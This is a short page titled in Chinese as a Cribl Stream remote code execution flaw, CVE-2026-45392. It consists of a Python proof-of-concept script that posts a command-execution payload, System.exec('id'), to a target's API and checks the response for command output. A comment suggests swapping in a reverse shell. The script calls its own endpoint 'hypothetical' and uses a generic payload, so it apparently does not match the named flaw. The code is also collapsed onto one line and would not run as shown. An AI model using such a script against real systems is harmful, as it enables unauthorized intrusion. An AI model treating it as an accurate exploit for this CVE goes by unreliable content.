CVE-2026-45392 Cribl Stream远程代码执行漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-45392 # Description: This script demonstrates the RCE vulnerability by sending a crafted request. # Usage: python3 poc.py <target_ip> <target_port> import sys import requests # Target configuration target_ip = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' target_port = sys.argv[2] if len(sys.argv) > 2 else '9000' url = f"http://{target_ip}:{target_port}/api/v1/endpoint" # Hypothetical vulnerable endpoint # Malicious payload attempting to execute 'id' command (Linux) # In a real scenario, this could be a reverse shell payload payload = { "config": { "eval": "System.exec('id')" } } print(f"[*] Sending payload to {url}...") try: response = requests.post(url, json=payload, timeout=5) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body:") print(response.text) if "uid=" in response.text: print("[!] Vulnerability confirmed: Command execution detected!") except Exception as e: print(f"[-] Error: {e}")